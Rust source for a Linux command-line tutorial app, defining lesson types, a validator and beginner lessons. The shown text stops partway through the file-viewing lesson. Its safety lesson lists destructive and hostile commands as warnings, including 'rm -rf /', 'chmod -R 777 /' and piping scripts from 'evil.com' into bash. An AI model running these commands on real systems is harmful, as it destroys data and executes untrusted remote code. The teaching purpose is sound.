1use serde::{Deserialize, Serialize};
7use std::collections::HashMap;
8
9#[derive(Debug, Clone, Serialize, Deserialize)]
11pub struct Lesson {
12 pub id: String,
13 pub title: String,
14 pub description: String,
15 pub difficulty: Difficulty,
16 pub estimated_minutes: u32,
17 pub steps: Vec<LessonStep>,
18 pub prerequisites: Vec<String>, pub tags: Vec<String>, }
21
22#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
24pub enum Difficulty {
25 Beginner,
26 Intermediate,
27 Advanced,
28 Expert,
29}
30
31#[derive(Debug, Clone, Serialize, Deserialize)]
33pub struct LessonStep {
34 pub step_number: u32,
35 pub title: String,
36 pub instruction: String,
37 pub hint: Option<String>,
38 pub step_type: StepType,
39}
40
41#[derive(Debug, Clone, Serialize, Deserialize)]
43pub enum StepType {
44 CommandExercise {
46 expected_command: String,
47 validation: CommandValidation,
48 success_message: String,
49 },
50 MultipleChoice {
52 question: String,
53 options: Vec<String>,
54 correct_index: usize,
55 explanation: String,
56 },
57 FillInBlank {
59 template: String, correct_answers: Vec<String>, explanation: String,
62 },
63 Information {
65 content: String,
66 },
67 Practice {
69 goal: String,
70 validation: PracticeValidation,
71 hints: Vec<String>,
72 },
73}
74
75#[derive(Debug, Clone, Serialize, Deserialize)]
77pub enum CommandValidation {
78 Exact,
80 CommandAndFlags,
82 CommandOnly,
84 Regex(String),
86 AnyOf(Vec<String>),
88}
89
90#[derive(Debug, Clone, Serialize, Deserialize)]
92pub enum PracticeValidation {
93 FileExists(String),
95 DirectoryExists(String),
97 FileContains { path: String, content: String },
99 OutputMatches { command: String, pattern: String },
101 Custom(String),
103}
104
105#[derive(Debug, Clone, Serialize, Deserialize)]
107pub struct LessonProgress {
108 pub lesson_id: String,
109 pub current_step: u32,
110 pub completed_steps: Vec<u32>,
111 pub started_at: chrono::DateTime<chrono::Utc>,
112 pub completed_at: Option<chrono::DateTime<chrono::Utc>>,
113 pub attempts: HashMap<u32, u32>, }
115
116impl LessonProgress {
117 pub fn new(lesson_id: String) -> Self {
118 Self {
119 lesson_id,
120 current_step: 1,
121 completed_steps: Vec::new(),
122 started_at: chrono::Utc::now(),
123 completed_at: None,
124 attempts: HashMap::new(),
125 }
126 }
127
128 pub fn is_completed(&self) -> bool {
129 self.completed_at.is_some()
130 }
131
132 pub fn completion_percentage(&self, total_steps: u32) -> f32 {
133 if total_steps == 0 {
134 return 0.0;
135 }
136 (self.completed_steps.len() as f32 / total_steps as f32) * 100.0
137 }
138
139 pub fn record_attempt(&mut self, step_number: u32) {
140 *self.attempts.entry(step_number).or_insert(0) += 1;
141 }
142
143 pub fn complete_step(&mut self, step_number: u32) {
144 if !self.completed_steps.contains(&step_number) {
145 self.completed_steps.push(step_number);
146 self.completed_steps.sort();
147 }
148 }
149
150 pub fn complete_lesson(&mut self) {
151 self.completed_at = Some(chrono::Utc::now());
152 }
153}
154
155pub struct LessonLibrary {
157 lessons: HashMap<String, Lesson>,
158}
159
160impl LessonLibrary {
161 pub fn new() -> Self {
162 let mut library = Self {
163 lessons: HashMap::new(),
164 };
165 library.load_default_lessons();
166 library
167 }
168
169 pub fn register(&mut self, lesson: Lesson) {
171 self.lessons.insert(lesson.id.clone(), lesson);
172 }
173
174 pub fn get(&self, id: &str) -> Option<&Lesson> {
176 self.lessons.get(id)
177 }
178
179 pub fn all(&self) -> Vec<&Lesson> {
181 self.lessons.values().collect()
182 }
183
184 pub fn by_difficulty(&self, difficulty: Difficulty) -> Vec<&Lesson> {
186 self.lessons
187 .values()
188 .filter(|l| l.difficulty == difficulty)
189 .collect()
190 }
191
192 pub fn by_tag(&self, tag: &str) -> Vec<&Lesson> {
194 self.lessons
195 .values()
196 .filter(|l| l.tags.iter().any(|t| t == tag))
197 .collect()
198 }
199
200 fn load_default_lessons(&mut self) {
202 self.register(create_navigation_basics_lesson());
203 self.register(create_file_management_lesson());
204 self.register(create_safety_lesson());
205 self.register(create_file_viewing_lesson());
206 self.register(create_permissions_lesson());
207 self.register(create_process_management_lesson());
208 self.register(create_text_processing_lesson());
209 self.register(create_package_management_lesson());
210 self.register(create_network_basics_lesson());
211 self.register(create_git_fundamentals_lesson());
212 }
213}
214
215impl Default for LessonLibrary {
216 fn default() -> Self {
217 Self::new()
218 }
219}
220
221pub struct LessonValidator {
223 }
226
227impl LessonValidator {
228 pub fn new() -> Self {
229 Self {}
230 }
231
232 pub fn validate_command(
234 &self,
235 user_input: &str,
236 expected: &str,
237 validation: &CommandValidation,
238 ) -> ValidationResult {
239 match validation {
240 CommandValidation::Exact => {
241 let normalized_input = user_input.trim().split_whitespace().collect::<Vec<_>>().join(" ");
242 let normalized_expected = expected.trim().split_whitespace().collect::<Vec<_>>().join(" ");
243
244 if normalized_input == normalized_expected {
245 ValidationResult::Success {
246 message: "Perfect! That's exactly right.".to_string(),
247 }
248 } else {
249 ValidationResult::Failure {
250 message: format!("Not quite. Expected: {}", expected),
251 hint: Some("Check the command and flags carefully.".to_string()),
252 }
253 }
254 }
255 CommandValidation::CommandOnly => {
256 let user_cmd = user_input.trim().split_whitespace().next().unwrap_or("");
257 let expected_cmd = expected.trim().split_whitespace().next().unwrap_or("");
258
259 if user_cmd == expected_cmd {
260 ValidationResult::Success {
261 message: "Correct command!".to_string(),
262 }
263 } else {
264 ValidationResult::Failure {
265 message: format!("Wrong command. Expected: {}", expected_cmd),
266 hint: None,
267 }
268 }
269 }
270 CommandValidation::AnyOf(commands) => {
271 let normalized_input = user_input.trim().split_whitespace().collect::<Vec<_>>().join(" ");
272
273 for cmd in commands {
274 let normalized_cmd = cmd.trim().split_whitespace().collect::<Vec<_>>().join(" ");
275 if normalized_input == normalized_cmd {
276 return ValidationResult::Success {
277 message: "Correct!".to_string(),
278 };
279 }
280 }
281
282 ValidationResult::Failure {
283 message: "Not quite. Try one of the expected commands.".to_string(),
284 hint: Some(format!("Expected one of: {}", commands.join(" OR "))),
285 }
286 }
287 _ => ValidationResult::Success {
288 message: "Validation passed (stub)".to_string(),
289 },
290 }
291 }
292
293 pub fn validate_multiple_choice(&self, user_choice: usize, correct: usize) -> ValidationResult {
295 if user_choice == correct {
296 ValidationResult::Success {
297 message: "Correct!".to_string(),
298 }
299 } else {
300 ValidationResult::Failure {
301 message: "Not quite. Try again!".to_string(),
302 hint: None,
303 }
304 }
305 }
306}
307
308impl Default for LessonValidator {
309 fn default() -> Self {
310 Self::new()
311 }
312}
313
314#[derive(Debug, Clone)]
316pub enum ValidationResult {
317 Success { message: String },
318 Failure { message: String, hint: Option<String> },
319 Partial { message: String, progress: f32 },
320}
321
322impl ValidationResult {
323 pub fn is_success(&self) -> bool {
324 matches!(self, ValidationResult::Success { .. })
325 }
326}
327
328fn create_navigation_basics_lesson() -> Lesson {
334 Lesson {
335 id: "nav-basics".to_string(),
336 title: "Navigation Basics".to_string(),
337 description: "Learn how to navigate the Linux filesystem using essential commands like ls, cd, pwd, and tree.".to_string(),
338 difficulty: Difficulty::Beginner,
339 estimated_minutes: 10,
340 prerequisites: vec![],
341 tags: vec!["beginner".to_string(), "navigation".to_string(), "essential".to_string()],
342 steps: vec![
343 LessonStep {
344 step_number: 1,
345 title: "Understanding Your Current Location".to_string(),
346 instruction: "Every time you open a terminal, you're in a specific directory. Let's find out where you are. Type the command to print your current working directory.".to_string(),
347 hint: Some("The command is 'pwd' (print working directory)".to_string()),
348 step_type: StepType::CommandExercise {
349 expected_command: "pwd".to_string(),
350 validation: CommandValidation::CommandOnly,
351 success_message: "Perfect! 'pwd' shows your current directory. This is your starting point.".to_string(),
352 },
353 },
354 LessonStep {
355 step_number: 2,
356 title: "Listing Files and Directories".to_string(),
357 instruction: "Now let's see what's in your current directory. Use the command to list all files and directories.".to_string(),
358 hint: Some("The command is 'ls' (list)".to_string()),
359 step_type: StepType::CommandExercise {
360 expected_command: "ls".to_string(),
361 validation: CommandValidation::CommandOnly,
362 success_message: "Great! 'ls' shows you what's in the current directory.".to_string(),
363 },
364 },
365 LessonStep {
366 step_number: 3,
367 title: "Detailed File Listings".to_string(),
368 instruction: "Let's get more information about the files. Use 'ls' with flags to show a long, detailed listing with human-readable file sizes.".to_string(),
369 hint: Some("Try 'ls -lh' (long format + human-readable sizes)".to_string()),
370 step_type: StepType::CommandExercise {
371 expected_command: "ls -lh".to_string(),
372 validation: CommandValidation::AnyOf(vec![
373 "ls -lh".to_string(),
374 "ls -hl".to_string(),
375 "ls -l -h".to_string(),
376 "ls -h -l".to_string(),
377 ]),
378 success_message: "Excellent! The -l flag shows details like permissions, owner, size, and date. The -h flag makes sizes human-readable (KB, MB, GB).".to_string(),
379 },
380 },
381 LessonStep {
382 step_number: 4,
383 title: "Understanding Hidden Files".to_string(),
384 instruction: "Many configuration files are hidden (they start with a dot). Let's see ALL files, including hidden ones.".to_string(),
385 hint: Some("Use the -a flag with ls".to_string()),
386 step_type: StepType::CommandExercise {
387 expected_command: "ls -a".to_string(),
388 validation: CommandValidation::CommandOnly,
389 success_message: "Perfect! Files starting with '.' are hidden. You'll see '.bashrc', '.profile', etc. - these are configuration files.".to_string(),
390 },
391 },
392 LessonStep {
393 step_number: 5,
394 title: "Changing Directories".to_string(),
395 instruction: "Let's move to your home directory. Use the change directory command with the ~ symbol (tilde represents your home).".to_string(),
396 hint: Some("Type 'cd ~' or just 'cd'".to_string()),
397 step_type: StepType::CommandExercise {
398 expected_command: "cd".to_string(),
399 validation: CommandValidation::AnyOf(vec![
400 "cd".to_string(),
401 "cd ~".to_string(),
402 "cd $HOME".to_string(),
403 ]),
404 success_message: "Great! 'cd' without arguments always takes you home. The ~ symbol is a shortcut for your home directory.".to_string(),
405 },
406 },
407 LessonStep {
408 step_number: 6,
409 title: "Quiz: What does 'cd ..' do?".to_string(),
410 instruction: "".to_string(),
411 hint: None,
412 step_type: StepType::MultipleChoice {
413 question: "What does the command 'cd ..' do?".to_string(),
414 options: vec![
415 "Goes to the home directory".to_string(),
416 "Goes up one directory level (to the parent)".to_string(),
417 "Lists files in the current directory".to_string(),
418 "Creates a new directory".to_string(),
419 ],
420 correct_index: 1,
421 explanation: "Correct! '..' is a special symbol that represents the parent directory. So 'cd ..' moves you up one level in the directory tree.".to_string(),
422 },
423 },
424 LessonStep {
425 step_number: 7,
426 title: "Pro Tip: cd -".to_string(),
427 instruction: "".to_string(),
428 hint: None,
429 step_type: StepType::Information {
430 content: "Pro tip: 'cd -' is a super useful command! It takes you back to your previous directory. Try it:\n\n cd /tmp\n cd ~\n cd - # Takes you back to /tmp!\n\nThis is great for quickly switching between two directories you're working in.".to_string(),
431 },
432 },
433 LessonStep {
434 step_number: 8,
435 title: "Completion: Navigation Mastered!".to_string(),
436 instruction: "".to_string(),
437 hint: None,
438 step_type: StepType::Information {
439 content: "Congratulations! 🎉 You've mastered basic navigation!\n\nKey commands you learned:\n • pwd - Print working directory\n • ls - List files (use -l for details, -a for hidden, -h for human-readable)\n • cd - Change directory\n • cd ~ - Go home\n • cd .. - Go up one level\n • cd - - Toggle to previous directory\n\nThese are the foundation of navigating Linux. Practice them often!".to_string(),
440 },
441 },
442 ],
443 }
444}
445
446fn create_file_management_lesson() -> Lesson {
448 Lesson {
449 id: "file-mgmt".to_string(),
450 title: "File Management Basics".to_string(),
451 description: "Learn to create, copy, move, and delete files and directories safely.".to_string(),
452 difficulty: Difficulty::Beginner,
453 estimated_minutes: 15,
454 prerequisites: vec!["nav-basics".to_string()],
455 tags: vec!["beginner".to_string(), "files".to_string(), "essential".to_string()],
456 steps: vec![
457 LessonStep {
458 step_number: 1,
459 title: "Creating a Practice Directory".to_string(),
460 instruction: "Let's create a safe practice space. Create a directory called 'practice' in your current location.".to_string(),
461 hint: Some("Use 'mkdir practice'".to_string()),
462 step_type: StepType::CommandExercise {
463 expected_command: "mkdir practice".to_string(),
464 validation: CommandValidation::CommandOnly,
465 success_message: "Great! 'mkdir' (make directory) creates a new folder. Now you have a safe space to practice.".to_string(),
466 },
467 },
468 LessonStep {
469 step_number: 2,
470 title: "Creating a File".to_string(),
471 instruction: "Navigate into your practice directory and create an empty file called 'test.txt'.".to_string(),
472 hint: Some("Use 'cd practice' then 'touch test.txt'".to_string()),
473 step_type: StepType::CommandExercise {
474 expected_command: "touch test.txt".to_string(),
475 validation: CommandValidation::CommandOnly,
476 success_message: "Perfect! 'touch' creates an empty file or updates the timestamp of an existing one.".to_string(),
477 },
478 },
479 LessonStep {
480 step_number: 3,
481 title: "Copying Files".to_string(),
482 instruction: "Make a copy of test.txt called test-backup.txt.".to_string(),
483 hint: Some("Use 'cp test.txt test-backup.txt'".to_string()),
484 step_type: StepType::CommandExercise {
485 expected_command: "cp test.txt test-backup.txt".to_string(),
486 validation: CommandValidation::Exact,
487 success_message: "Excellent! 'cp source destination' copies a file. Always make backups of important files before editing!".to_string(),
488 },
489 },
490 LessonStep {
491 step_number: 4,
492 title: "Moving/Renaming Files".to_string(),
493 instruction: "Rename test-backup.txt to backup.txt using the move command.".to_string(),
494 hint: Some("'mv' is used for both moving and renaming. Try 'mv test-backup.txt backup.txt'".to_string()),
495 step_type: StepType::CommandExercise {
496 expected_command: "mv test-backup.txt backup.txt".to_string(),
497 validation: CommandValidation::Exact,
498 success_message: "Great! 'mv' moves OR renames files. When source and destination are in the same directory, it's renaming.".to_string(),
499 },
500 },
501 LessonStep {
502 step_number: 5,
503 title: "Safety Quiz".to_string(),
504 instruction: "".to_string(),
505 hint: None,
506 step_type: StepType::MultipleChoice {
507 question: "Which flag should you ALWAYS use with 'rm' for safety?".to_string(),
508 options: vec![
509 "-f (force)".to_string(),
510 "-i (interactive/confirm)".to_string(),
511 "-r (recursive)".to_string(),
512 "-v (verbose)".to_string(),
513 ],
514 correct_index: 1,
515 explanation: "Correct! The -i flag makes rm ask for confirmation before deleting. NEVER use -f (force) unless you're absolutely sure. -r is for directories but should be used with -i for safety.".to_string(),
516 },
517 },
518 LessonStep {
519 step_number: 6,
520 title: "Safe Deletion".to_string(),
521 instruction: "Delete test.txt safely by using the interactive flag.".to_string(),
522 hint: Some("Use 'rm -i test.txt' and confirm when prompted".to_string()),
523 step_type: StepType::CommandExercise {
524 expected_command: "rm -i test.txt".to_string(),
525 validation: CommandValidation::Exact,
526 success_message: "Perfect! Always use -i when deleting files. There is NO undo in Linux - deleted files are gone forever!".to_string(),
527 },
528 },
529 LessonStep {
530 step_number: 7,
531 title: "Completion: File Management Mastered!".to_string(),
532 instruction: "".to_string(),
533 hint: None,
534 step_type: StepType::Information {
535 content: "Excellent work! 🎉 You've learned essential file management!\n\nKey commands:\n • mkdir - Create directories\n • touch - Create empty files\n • cp - Copy files\n • mv - Move or rename files\n • rm -i - Delete files (ALWAYS use -i for safety!)\n\nSafety rules:\n ⚠️ Always use 'rm -i' not 'rm -f'\n ⚠️ Make backups before editing important files\n ⚠️ Be very careful with 'rm -r' (deletes directories)\n ⚠️ NEVER run 'rm -rf /' (destroys your system!)\n\nNext: Learn text processing!".to_string(),
536 },
537 },
538 ],
539 }
540}
541
542fn create_safety_lesson() -> Lesson {
544 Lesson {
545 id: "safety-essentials".to_string(),
546 title: "What NOT to Do - Safety Essentials".to_string(),
547 description: "Critical safety lessons to prevent data loss, system damage, and security vulnerabilities. Learn the dangerous commands and practices to avoid.".to_string(),
548 difficulty: Difficulty::Beginner,
549 estimated_minutes: 15,
550 prerequisites: vec![],
551 tags: vec!["beginner".to_string(), "safety".to_string(), "essential".to_string(), "security".to_string()],
552 steps: vec![
553 LessonStep {
554 step_number: 1,
555 title: "Welcome to Safety Training".to_string(),
556 instruction: "".to_string(),
557 hint: None,
558 step_type: StepType::Information {
559 content: "⚠️ IMPORTANT: This lesson teaches you what NOT to do!\n\nThe command line is powerful - which means it can do a LOT of damage if misused. Unlike graphical interfaces with confirmation dialogs and trash bins, the terminal executes commands IMMEDIATELY and PERMANENTLY.\n\nIn this lesson, you'll learn:\n • Dangerous commands that can destroy your system\n • Common mistakes beginners make\n • Security vulnerabilities to avoid\n • Best practices for safe command line usage\n\nThis knowledge could save you from:\n • Losing important files forever\n • Breaking your operating system\n • Creating security holes\n • Hours of recovery work\n\nLet's get started! 🛡️".to_string(),
560 },
561 },
562 LessonStep {
563 step_number: 2,
564 title: "The Most Dangerous Command".to_string(),
565 instruction: "".to_string(),
566 hint: None,
567 step_type: StepType::MultipleChoice {
568 question: "Which command is EXTREMELY dangerous and should NEVER be run?".to_string(),
569 options: vec![
570 "rm -i file.txt".to_string(),
571 "rm -rf /".to_string(),
572 "ls -la /".to_string(),
573 "cd /tmp".to_string(),
574 ],
575 correct_index: 1,
576 explanation: "CORRECT! 'rm -rf /' is catastrophic - it recursively force-deletes your ENTIRE system starting from the root! The -r means recursive (all files and folders), -f means force (no confirmations), and / is the root of your entire filesystem. This will destroy your operating system and all your data. Modern systems have protections, but NEVER try this. Even 'rm -rf /*' (with a star) can be devastating!".to_string(),
577 },
578 },
579 LessonStep {
580 step_number: 3,
581 title: "Understanding Force Flags".to_string(),
582 instruction: "".to_string(),
583 hint: None,
584 step_type: StepType::Information {
585 content: "🚨 NEVER USE FORCE FLAGS UNLESS YOU'RE ABSOLUTELY CERTAIN!\n\nDangerous force flags to avoid:\n\n • rm -f - Deletes without asking (NO confirmation!)\n • rm -rf - Recursively force-deletes directories\n • mv -f - Overwrites files without warning\n • cp -f - Overwrites files without asking\n\nInstead, ALWAYS use interactive flags:\n\n ✅ rm -i - Asks before each deletion\n ✅ rm -ri - Safe recursive deletion with prompts\n ✅ mv -i - Asks before overwriting\n ✅ cp -i - Asks before overwriting\n\nRemember: Linux has NO recycle bin. Deleted = GONE FOREVER!\nThe -i flag is your safety net. Use it!".to_string(),
586 },
587 },
588 LessonStep {
589 step_number: 4,
590 title: "Permission Dangers".to_string(),
591 instruction: "".to_string(),
592 hint: None,
593 step_type: StepType::MultipleChoice {
594 question: "You need to make a script executable. Which chmod command is safest?".to_string(),
595 options: vec![
596 "chmod 777 script.sh (everyone can read, write, execute)".to_string(),
597 "chmod +x script.sh (add execute permission)".to_string(),
598 "chmod -R 777 / (make everything writable)".to_string(),
599 "chmod 000 script.sh (remove all permissions)".to_string(),
600 ],
601 correct_index: 1,
602 explanation: "CORRECT! 'chmod +x script.sh' just adds execute permission safely. \n\n❌ NEVER use chmod 777! This gives EVERYONE (including attackers) full read, write, and execute access. It's a MASSIVE security hole!\n\n❌ NEVER use chmod -R 777 on system directories! This makes your entire system vulnerable.\n\nAlways use minimal permissions:\n • 755 for directories and executables (owner can write, others can read/execute)\n • 644 for regular files (owner can write, others can read)\n • Use +x, +r, +w to add specific permissions instead of numbers".to_string(),
603 },
604 },
605 LessonStep {
606 step_number: 5,
607 title: "The Sudo Trap".to_string(),
608 instruction: "".to_string(),
609 hint: None,
610 step_type: StepType::Information {
611 content: "🔐 SUDO GIVES YOU SUPERPOWERS - USE RESPONSIBLY!\n\nCommon sudo mistakes:\n\n❌ DON'T: Run random internet commands with sudo\n Example: Don't blindly copy-paste 'sudo rm -rf /usr'\n\n❌ DON'T: Use sudo just because a command failed\n Example: If 'npm install' fails, DON'T try 'sudo npm install'\n (Fix permissions instead!)\n\n❌ DON'T: Pipe untrusted scripts to sudo bash\n Example: curl http://example.com/script.sh | sudo bash\n (This runs unknown code as admin!)\n\n✅ DO: Read and understand commands before using sudo\n✅ DO: Use sudo only when actually needed (system changes)\n✅ DO: Check who wrote the script you're running\n\nThink of sudo like giving someone the keys to your house - only do it when absolutely necessary and you trust the command!".to_string(),
612 },
613 },
614 LessonStep {
615 step_number: 6,
616 title: "Wildcard Disasters".to_string(),
617 instruction: "".to_string(),
618 hint: None,
619 step_type: StepType::MultipleChoice {
620 question: "You're in your home directory and want to delete all .txt files. Which is SAFEST?".to_string(),
621 options: vec![
622 "rm *.txt (could be dangerous if you're in wrong directory!)".to_string(),
623 "rm -rf *".to_string(),
624 "First 'ls *.txt' to verify, then 'rm -i *.txt'".to_string(),
625 "cd / && rm *.txt".to_string(),
626 ],
627 correct_index: 2,
628 explanation: "CORRECT! Always verify with 'ls' FIRST, then use 'rm -i' for confirmation!\n\nWildcard disasters to avoid:\n\n❌ 'rm -rf *' - Deletes EVERYTHING in current directory!\n❌ 'rm -rf * .*' - Even worse, includes hidden files!\n❌ 'rm * .txt' - Space before .txt means delete everything AND .txt!\n\nSafety practices:\n 1️⃣ Always 'pwd' to confirm you're in the right directory\n 2️⃣ Always 'ls [pattern]' to see what matches BEFORE deleting\n 3️⃣ Always use 'rm -i' with wildcards\n 4️⃣ Be EXTRA careful with spaces in commands!".to_string(),
629 },
630 },
631 LessonStep {
632 step_number: 7,
633 title: "Pipe and Redirect Dangers".to_string(),
634 instruction: "".to_string(),
635 hint: None,
636 step_type: StepType::Information {
637 content: "⚡ REDIRECTS CAN OVERWRITE FILES INSTANTLY!\n\nDangerous redirects:\n\n❌ command > important.txt\n • Single > OVERWRITES the file completely!\n • If command is empty, you just erased your file!\n\n❌ command > /etc/passwd\n • Overwriting system files breaks your system!\n\n❌ cat file.txt > file.txt\n • You just erased file.txt with an empty file!\n • (Can't read and write same file this way)\n\nSafe practices:\n\n✅ command >> file.txt (double >> appends instead of overwriting)\n✅ Always backup first: cp important.txt important.txt.bak\n✅ Test commands first: command > /tmp/test.txt\n✅ Use 'set -o noclobber' to prevent accidental overwrites\n\nRemember: > is INSTANT and PERMANENT!".to_string(),
638 },
639 },
640 LessonStep {
641 step_number: 8,
642 title: "Copy-Paste from the Internet".to_string(),
643 instruction: "".to_string(),
644 hint: None,
645 step_type: StepType::MultipleChoice {
646 question: "You found a cool command on a random website. What should you do?".to_string(),
647 options: vec![
648 "Copy-paste it immediately into your terminal".to_string(),
649 "Add sudo to make sure it works".to_string(),
650 "Read and understand what each part does, then type it yourself".to_string(),
651 "Run it in another user's account first".to_string(),
652 ],
653 correct_index: 2,
654 explanation: "CORRECT! Always READ and UNDERSTAND commands first!\n\nInternet command safety:\n\n❌ Malicious examples you might see:\n • curl evil.com/script | bash (runs hidden malware!)\n • alias ls='rm -rf /' (makes 'ls' destroy your system!)\n • Hidden characters that do something different than shown\n\n✅ Safe practices:\n 1️⃣ READ every part of the command\n 2️⃣ Look up unfamiliar commands with 'man' or '--help'\n 3️⃣ TYPE commands yourself (don't copy-paste!)\n 4️⃣ Be skeptical of commands that:\n • Use sudo unnecessarily\n • Pipe curl/wget to bash\n • Have > redirects to system files\n • Use rm, chmod, or other dangerous commands\n 5️⃣ Only trust official documentation\n\nWhen in doubt, ask an expert or research more!".to_string(),
655 },
656 },
657 LessonStep {
658 step_number: 9,
659 title: "File System Navigation Mistakes".to_string(),
660 instruction: "".to_string(),
661 hint: None,
662 step_type: StepType::Information {
663 content: "🗺️ ALWAYS KNOW WHERE YOU ARE!\n\nCommon navigation mistakes:\n\n❌ Running destructive commands without checking location:\n pwd ← Always do this first!\n # Oh no, I'm in / not /tmp!\n\n❌ Typos in paths with destructive commands:\n cd /tmpp/work ← Failed (typo)\n rm -rf * ← Just deleted wrong directory!\n\n❌ Assuming you're in the right directory:\n cd ~/projects/myapp\n # ...later...\n rm -rf node_modules ← Are you still in myapp?\n\nSafe practices:\n\n✅ Always 'pwd' before destructive operations\n✅ Use absolute paths for important operations:\n rm -rf /tmp/test instead of cd /tmp && rm -rf test\n✅ Use tab completion to avoid typos\n✅ Create a habit: 'pwd' → 'ls' → then act\n✅ Be extra careful in /tmp, /, and system directories".to_string(),
664 },
665 },
666 LessonStep {
667 step_number: 10,
668 title: "Hidden Files and Spaces in Names".to_string(),
669 instruction: "".to_string(),
670 hint: None,
671 step_type: StepType::Information {
672 content: "👻 WATCH OUT FOR HIDDEN FILES AND SPACES!\n\nHidden file dangers:\n\n❌ rm -rf * → Deletes visible files only\n❌ rm -rf * .* → DANGEROUS! .* matches .. (parent directory!)\n✅ rm -rf * .[^.]* → Safe way to include hidden files\n\nSpaces in filenames:\n\n❌ rm my file.txt → Tries to delete 'my' and 'file.txt'\n✅ rm \"my file.txt\" → Correct (quotes protect spaces)\n✅ rm my\\ file.txt → Also correct (backslash escapes space)\n✅ Use tab completion to auto-escape spaces!\n\nOther tricky characters:\n\n❌ Files starting with - (dash) confuse commands:\n rm -file.txt → Thinks it's a flag!\n ✅ rm ./-file.txt → Correct way\n\n❌ Files with special characters: !@#$%^&*()\n ✅ Always use quotes or escape them\n\nBest practice: Avoid spaces in filenames! Use underscores or dashes:\n my-file.txt or my_file.txt".to_string(),
673 },
674 },
675 LessonStep {
676 step_number: 11,
677 title: "Environment Variable Dangers".to_string(),
678 instruction: "".to_string(),
679 hint: None,
680 step_type: StepType::Information {
681 content: "🔧 BE CAREFUL WITH ENVIRONMENT VARIABLES!\n\nDangerous modifications:\n\n❌ export PATH=/usr/bin\n • Overwrites entire PATH (breaks most commands!)\n ✅ export PATH=$PATH:/usr/bin (appends instead)\n\n❌ unset PATH\n • Makes most commands unusable!\n\n❌ Adding untrusted directories to PATH:\n export PATH=/tmp:$PATH\n • Now malicious /tmp/ls could run instead of real ls!\n\nSystem file dangers:\n\n❌ NEVER edit these without understanding them:\n • /etc/passwd → User accounts\n • /etc/fstab → Disk mounting (can prevent boot!)\n • /etc/hosts → Network resolution\n • /boot/* → Boot files (can break booting!)\n\n✅ Safe practices:\n • Always backup before editing: sudo cp /etc/passwd /etc/passwd.bak\n • Use proper editors: sudo vi /etc/hosts\n • Test changes in your home directory first\n • Keep recovery USB drive handy!".to_string(),
682 },
683 },
684 LessonStep {
685 step_number: 12,
686 title: "Completion: Safety Knowledge Acquired!".to_string(),
687 instruction: "".to_string(),
688 hint: None,
689 step_type: StepType::Information {
690 content: "🎓 CONGRATULATIONS! You're now aware of major dangers!\n\n🛡️ GOLDEN RULES TO REMEMBER:\n\n1️⃣ NEVER run 'rm -rf /' or 'rm -rf /*'\n2️⃣ ALWAYS use -i flag with rm, mv, cp\n3️⃣ NEVER use chmod 777 on anything\n4️⃣ ALWAYS read commands before running them\n5️⃣ NEVER blindly copy-paste from the internet\n6️⃣ ALWAYS pwd before destructive operations\n7️⃣ NEVER pipe curl to bash without reading the script\n8️⃣ ALWAYS use sudo minimally and carefully\n9️⃣ NEVER assume you're in the right directory\n🔟 ALWAYS backup important files before operations\n\n💡 When in doubt:\n • man <command> → Read the manual\n • <command> --help → Get help info\n • Ask in forums/communities\n • Test in /tmp or virtual machine first\n • Make backups before experimenting\n\nStay safe and enjoy the power of the command line! 🚀\n\nNext: Practice these lessons in safe environments!".to_string(),
691 },
692 },
693 ],
694 }
695}
696
697fn create_file_viewing_lesson() -> Lesson {
699 Lesson {
700 id: "file-viewing".to_string(),
701 title: "File Viewing & Reading".to_string(),
702 description: "Master the art of reading, viewing, and searching through text files using cat, less, head, tail, and grep.".to_string(),
703 difficulty: Difficulty::Beginner,
704 estimated_minutes: 12,
705 prerequisites: vec!["nav-basics".to_string()],
706 tags: vec!["beginner".to_string(), "files".to_string(), "text".to_string()],
707 steps: vec![
708 LessonStep {
709 step_number: 1,
710 title: "Introduction to File Viewing".to_string(),
711 instruction: "".to_string(),
712 hint: None,
713 step_type: StepType::Information {
714 content: "Welcome to File Viewing & Reading!\n\nIn Linux, almost everything is a text file - configuration files, logs, scripts, and more. Knowing how to quickly read and search through files is essential.\n\nYou'll learn:\n • cat - Display entire files\n • less - Navigate large files\n • head/tail - View file beginnings and ends\n • grep - Search for patterns in files\n\nThese tools are your windows into the file system. Let's get started!".to_string(),
715 },
716 },
717 LessonStep {
718 step_number: 2,
719 title: "Using cat to Display Files".to_string(),
720 instruction: "The 'cat' command (concatenate) displays file contents. Try viewing a file with cat /etc/hostname".to_string(),
721 hint: Some("Type: cat /etc/hostname".to_string()),
722 step_type: StepType::CommandExercise {
723 expected_command: "cat /etc/hostname".to_string(),
724 validation: CommandValidation::Exact,
725 success_message: "Perfect! 'cat' dumps the entire file to your screen. Great for small files, but overwhelming for large ones.".to_string(),
726 },
727 },
728 LessonStep {
729 step_number: 3,
730 title: "Viewing Multiple Files".to_string(),
731 instruction: "cat can display multiple files at once. Try: cat /etc/hostname /etc/os-release".to_string(),
732 hint: Some("Type exactly: cat /etc/hostname /etc/os-release".to_string()),
733 step_type: StepType::CommandExercise {
734 expected_command: "cat /etc/hostname /etc/os-release".to_string(),
735 validation: CommandValidation::Exact,
736 success_message: "Excellent! cat concatenates (combines) multiple files and displays them in order. That's why it's called 'cat'!".to_string(),
737 },
738 },
739 LessonStep {
740 step_number: 4,
741 title: "Reading Large Files with less".to_string(),
742 instruction: "For large files, use 'less' which lets you scroll. It's like a book reader. Try: less /etc/services".to_string(),
743 hint: Some("Type: less /etc/services (use arrow keys to scroll, 'q' to quit)".to_string()),
744 step_type: StepType::CommandExercise {
745 expected_command: "less /etc/services".to_string(),
746 validation: CommandValidation::Exact,
747 success_message: "Great! In less: arrow keys scroll, Space=page down, 'b'=page up, '/'=search, 'q'=quit. It's named 'less' because 'less is more' (improving on the old 'more' command).".to_string(),
748 },
749 },
750 LessonStep {
751 step_number: 5,
752 title: "Quiz: When to Use cat vs less?".to_string(),
753 instruction: "".to_string(),
754 hint: None,
755 step_type: StepType::MultipleChoice {
756 question: "When should you use 'less' instead of 'cat'?".to_string(),
757 options: vec![
758 "Always use cat, it's faster".to_string(),
759 "For large files where you need to scroll and search".to_string(),
760 "Only for binary files".to_string(),
761 "When you want to edit the file".to_string(),
762 ],
763 correct_index: 1,
764 explanation: "Correct! Use 'less' for large files (logs, documentation) where you need to scroll and search. Use 'cat' for quick viewing of small files or when piping to other commands. Neither cat nor less can edit files - use a text editor like nano or vim for that!".to_string(),
765 },
766 },
767 LessonStep {
768 step_number: 6,
769 title: "Viewing File Beginnings with head".to_string(),
